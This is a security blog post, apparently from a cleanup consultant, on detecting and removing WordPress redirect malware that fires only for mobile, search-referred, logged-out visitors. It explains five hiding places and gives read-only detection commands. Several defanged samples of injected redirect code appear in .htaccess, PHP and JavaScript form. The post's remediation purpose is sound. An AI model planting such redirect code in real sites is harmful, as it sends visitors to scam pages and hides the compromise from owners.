Security

WordPress Redirect Hack: Why Only Phones and Google Visitors See It

By , Lead SEO & Co-founder 9 min read
A moody server closet at night where a glowing cyan cable runs from a rack into a smartphone dock, then splits at a junction box, one branch continuing straight in cyan and a second branch veering off sharply in crimson toward a dark doorway, amber status lights on routers and a desktop monitor nearby showing a calm, empty page layout

A WordPress redirect hack is malware that sends some of your visitors to another site, usually a scam, a fake prize page or a spam shop. The frustrating word is "some." Customers say your site sent them somewhere strange, yet on your laptop, logged in, everything looks perfect.

That isn't luck. Redirect malware checks who's visiting before it fires, and owners are exactly who it skips. Below: the conditions it checks, the five places the code hides, and how to remove each copy.

If customers are being redirected right now and you'd rather have someone on it today, tell me what's happening in the hacked site questionnaire. For emergencies, I start within a few hours during business hours (Pacific and Eastern time zones).

Why the WordPress redirect hack only shows for some visitors

Google's own spam policies describe the pattern. One of their examples of sneaky redirects is "showing desktop users a normal page while redirecting mobile users to a completely different spam domain." A redirect that hits everyone gets noticed in an hour. A selective one can run for months. The usual checks, alone or combined:

  • Where you came from. The browser sends a referrer (the address of the page you clicked from). The malware fires only when it contains google. or bing., so people who type your address never see it. Sucuri's conditional redirection entry shows an .htaccess rule doing exactly this.
  • What device you're on. The user agent (the text your browser sends to say what it is) is checked for "Android" or "iPhone."
  • Whether you're logged in. Malware that sees WordPress's login cookie stays quiet. In a January 2025 case, Sucuri found redirect code in a theme's functions.php that skipped logged-in users, administrators and search engine crawlers.
  • Whether you've been here before. The malware sets its own cookie on the first redirect and never fires twice for the same browser. You test once, get redirected, test again, and it's gone. Very convincing. Very fake.

So the owner, logged in on a desktop and typing the address, is the one person guaranteed to see a clean site.

Before you clean: back up and reproduce it

Step 1: Back up the infected site before touching anything

  1. In your hosting control panel, download a full backup of the files.
  2. Export the database (in cPanel: phpMyAdmin, select the database, click Export, then Go).
  3. Store both off the server, in a folder named with today's date.

What you should see: a files archive and a .sql file on your computer.

If you don't: ask your host for an account backup. Don't start cleaning without one: you'll need it if a removal breaks something.

Step 2: Reproduce the redirect as a phone coming from Google

A phone test often gets one shot because of the cookie trick. A command-line request sends no cookies, so it's repeatable.

  1. Open a terminal (Terminal on a Mac, Git Bash or PowerShell with curl.exe on Windows).
  2. Run this, with your own domain and a real page:
Terminal
# Read-only. Pretends to be an Android phone that clicked a Google result.
# Prints only the response headers. Nothing on your site changes.
curl -sI -A "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Mobile Safari/537.36" -e "https://www.google.com/" https://example.com/some-page/
  1. Run it again without the -e "https://www.google.com/" part, and once more with a desktop user agent.

What you should see: if the hack is in .htaccess or PHP, the phone-from-Google request returns a 301 or 302 with a location: pointing to a domain you don't own, and the others return 200.

If you don't (every request says 200, but phones still get redirected): the redirect is JavaScript running in the browser. Run the command without -I, add > page.html, and search the file for unfamiliar <script tags (Step 11 shows the patterns).

Step 3: Check what Google sees

  1. In Google Search Console, paste the infected URL into the search bar at the top.
  2. Click Test live URL.
  3. Click View tested page and check the Screenshot tab and the HTML.

What you should see: your normal page in the screenshot and no unfamiliar <script> tags or links in the HTML.

If you don't: Google is getting the infected version too, which raises the odds of a Security Issues notice. Note the code you see; it's your search term for Steps 4 to 13.

URL Inspection help explains each panel. This live test doesn't arrive from a results page, so a referrer-only redirect may not show. A clean screenshot doesn't prove a clean site; the Step 2 curl test does.

Where the redirect code hides, and how to clean each spot

Work through all of these. Infected sites often hold more than one copy, so stopping the redirect once doesn't mean you're done. The malicious examples are defanged (hxxps and [.] stop them working). Don't paste them anywhere.

Step 4: Find rewrite rules in every .htaccess file

.htaccess is a settings file the Apache web server reads before WordPress runs, so a redirect there fires before any security plugin loads.

  1. Connect over SSH and run:
Terminal
# Read-only. Lists every .htaccess file in the account that checks referrer or device.
find ~ -name ".htaccess" -exec grep -lEi "HTTP_REFERER|HTTP_USER_AGENT" {} \;
  1. Open each file it lists and look for rules like this:
.htaccess / Apache
# DEFANGED EXAMPLE of an injected rule set. Do not copy.
RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|bing|yahoo) [NC]
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|mobile) [NC]
RewriteRule ^(.*)$ hxxps://spam-domain[.]example/in.php [R=302,L]

What you should see: ideally nothing. Some caching and security plugins add legitimate rules, usually inside comment markers with the plugin's name.

If you don't recognize a block: that's your redirect, or one of them.

Step 5: Replace the infected .htaccess with a clean one

  1. Rename the infected file to .htaccess.infected (keep it until you're done).
  2. Create a new .htaccess with only the standard block from the WordPress Apache docs:
.htaccess / Apache
# Standard WordPress rules for a single site. Could break: anything you or a plugin
# added by hand (HTTPS redirects, caching rules). Re-add those from the old file,
# one block at a time, only if you recognize them.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
  1. Read, then delete, .htaccess files in folders that shouldn't have one, such as random subfolders of wp-content/uploads.

What you should see: the site loads normally, and the Step 2 test no longer redirects (if this was the only copy).

If you don't: a 500 error means a broken line. Compare against the block above character by character.

Step 6: Read wp-config.php line by line

wp-config.php loads on every request, so one injected line in it runs everywhere.

  1. Open it in your hosting File Manager or over SSH.
  2. Look for anything that loads another file or decodes text: include, require, eval, base64_decode, or long strings of \x codes.
PHP
// DEFANGED EXAMPLE of an injected line, often placed at the very top or bottom.
@include "/home/user/public_html/wp-includes/images/.cache.ico";

What you should see: only database settings, keys, the table prefix, and require_once ABSPATH . 'wp-settings.php'; near the end.

If you don't: delete the injected line, then the file it loaded. PHP loading an "image" or .ico file is never legitimate. For scrambled code, my guide to decoding base64 PHP shows how to read it without running it. Also check .user.ini files for auto_prepend_file, which loads code before WordPress starts.

Step 7: Search the theme for redirect logic

The active theme's functions.php and header.php run on every page, which makes them favorite spots.

  1. Run this from the WordPress folder:
Terminal
# Read-only. Lists theme and must-use plugin lines that check visitors or send redirects.
# Expect some harmless hits. You're looking for these checks combined in one place.
grep -rnE "HTTP_REFERER|HTTP_USER_AGENT|is_user_logged_in|setcookie|header *\( *.Location" wp-content/themes/ wp-content/mu-plugins/ --include=*.php
  1. Read any hit where several checks sit together, like this pattern:
PHP
// DEFANGED EXAMPLE of redirect logic injected into a theme's functions.php.
add_action('init', function () {
    if (is_user_logged_in() || isset($_COOKIE['_vsn'])) return;               // skip admins and repeat visitors
    if (preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT'] ?? '')) return; // skip crawlers
    if (strpos($_SERVER['HTTP_REFERER'] ?? '', 'google.') === false) return;   // only search visitors
    setcookie('_vsn', '1', time() + 86400, '/');
    header('Location: hxxps://spam-domain[.]example/'); exit;
});

What you should see: no block that combines the login check, a cookie and a Location header.

If you do find one: go to Step 8 rather than deleting the block by hand.

Step 8: Replace the theme files with a clean copy

  1. Download a fresh copy of your theme from WordPress.org or the vendor.
  2. Upload it over the old one, or delete the theme folder and install the fresh copy.
  3. For a child theme with your own edits, compare its files against your last clean backup instead.

What you should see: the theme works as before, and the grep in Step 7 no longer finds the injected block.

If you don't: a custom theme with no clean copy has to be read file by file by a developer. Slow, but the only safe route.

Step 9: Search the options table for injected scripts

Sucuri documented a mobile redirect stored in the database, in the wp_options table. No file scanner looks there.

  1. Run this read-only query (wp db query docs):
Terminal
# Read-only. Lists options containing script tags or common JavaScript obfuscation.
# Assumes the default wp_ table prefix. Check $table_prefix in wp-config.php and adjust.
wp db query "SELECT option_id, option_name, LENGTH(option_value) AS size FROM wp_options WHERE option_value LIKE '%<script%' OR option_value LIKE '%fromCharCode%' OR option_value LIKE '%atob(%';"

What you should see: a few legitimate hits, such as an analytics snippet or a widget embed.

If you see an option you can't explain: read it with wp option get OPTION_NAME before changing anything.

Step 10: Remove the injected code from the option

Pick the case that matches:

  1. Inside a widget (option names starting widget_): open Appearance, then Widgets, and delete the script from that widget.
  2. A wholly malicious option (random name, no plugin owns it, content is only the script): run wp option delete OPTION_NAME.
  3. A real plugin's setting with a script appended: remove the extra code on that plugin's settings page.

What you should see: the Step 9 query no longer lists that option.

If you don't: a cache plugin or object cache may hold the old value. Clear it, then run the query again.

Step 11: Search posts and pages for injected JavaScript

Scripts in post content run in the visitor's browser, so they survive a server-side check.

  1. Run:
Terminal
# Read-only. Lists posts and pages containing script tags.
wp db query "SELECT ID, post_type, post_status, post_title FROM wp_posts WHERE post_content LIKE '%<script%';"
  1. Open a suspicious post in the block editor's Code editor view and look for something like:
HTML
<!-- DEFANGED EXAMPLE of a client-side conditional redirect. -->
<script>
if (/Android|iPhone|iPad/i.test(navigator.userAgent) && document.referrer.indexOf('google.') > -1 && !document.cookie.includes('_vsn')) {
  document.cookie = '_vsn=1; max-age=86400; path=/';
  window.location.href = 'hxxps://spam-domain[.]example/';
}
</script>

Real infections are usually scrambled with String.fromCharCode or atob, but the logic is the same: phone, from Google, first visit.

What you should see: only scripts you added on purpose, such as an embed.

If you don't: copy the injected script exactly; you'll need it in Step 12.

Step 12: Strip the script from every post at once

  1. Copy the exact injected string from one post.
  2. Do a dry run first (wp search-replace docs):
Terminal
# Dry run: reports how many rows would change, changes nothing.
wp search-replace '<script src="hxxps://spam-domain[.]example/x.js"></script>' '' wp_posts --dry-run
  1. If the count matches what you expect, run the same command without --dry-run.

What you should see: the Step 11 query returns only your legitimate scripts.

If you don't: the injection varies per post. Clean the rest by hand in the Code editor.

Step 13: Check plugin JavaScript files against official copies

Attackers also append a line to a real .js file that loads on every page.

  1. From the WordPress folder, run wp plugin verify-checksums --all (docs).
  2. For every plugin it flags, reinstall it with wp plugin install PLUGIN-SLUG --force.
  3. Premium plugins can't be checked this way, so upload a fresh copy from the vendor over the old one.

What you should see: "Success: Verified" for every WordPress.org plugin.

If you don't: a plugin that fails again right after reinstalling is being rewritten by something else, usually from outside WordPress.

Step 14: Purge every cache, then retest

  1. Clear your caching plugin's cache (look for Purge All or Clear Cache in its menu).
  2. If you use Cloudflare or another CDN, purge everything there too.
  3. Rerun all three curl requests from Step 2, then test on a phone over mobile data, logged out, from a Google result.

What you should see: 200 on every request, and no redirect on the phone.

If you don't: a cached page can keep redirecting for hours. Purge again. If it still redirects, there's another copy, so go back to Step 4.

After the redirect stops

Stopping the redirect fixes the symptom. The redirect is the payload, not the entry point, and the way in (a vulnerable plugin, a stolen password, a backdoor elsewhere in the account) is still open. My full hacked-site cleanup order covers resetting users, passwords and keys. If the redirect returns days later, the missed copy is probably outside WordPress; see my guide on hacks that keep returning.

If the redirect pages got indexed or Search Console flagged the site, the post on clearing spam pages from Google's results covers the order of operations.

Final thoughts

"It works fine for me" is true here, because the malware was written to make it true. Believe the customer, test like a stranger with curl, and check all five hiding places even after the first one turns something up.

If you'd rather not spend your evening reading functions.php, the hacked site questionnaire is short. My paid redirect and malware cleanup is this same process, plus the hosting account and Google.

WordPress redirect hack FAQs

Why is my WordPress site redirecting to another site only on mobile?

The malware checks the visitor's user agent and fires only for phones. It often also requires a Google referrer and skips logged-in users, so the owner on a desktop never sees it. It may also set a cookie so it fires once per browser. Test with curl using a phone user agent and a Google referrer, which sends no cookies.

Will a security plugin remove a WordPress malware redirect?

Sometimes. Plugin scanners catch redirect code in theme and plugin files fairly well. They're weaker on .htaccess rules in other folders, scripts stored in the database, and copies in other sites in the same hosting account. Check all five hiding places by hand and retest with curl before trusting a clean scan.

Does the redirect hack hurt my Google rankings?

It can. Google's spam policies treat redirecting mobile users to a spam domain as sneaky redirects, and hacked content can trigger a Security Issues notice and warnings in search results. After cleanup, check Search Console's Security issues report and request a review if Google flagged the site.

Want a second pair of eyes on your site?

Tell me what's going on in the hacked website repair questionnaire. I reply with a plan and a fixed quote within one business day.

Starting at $350 Start the questionnaire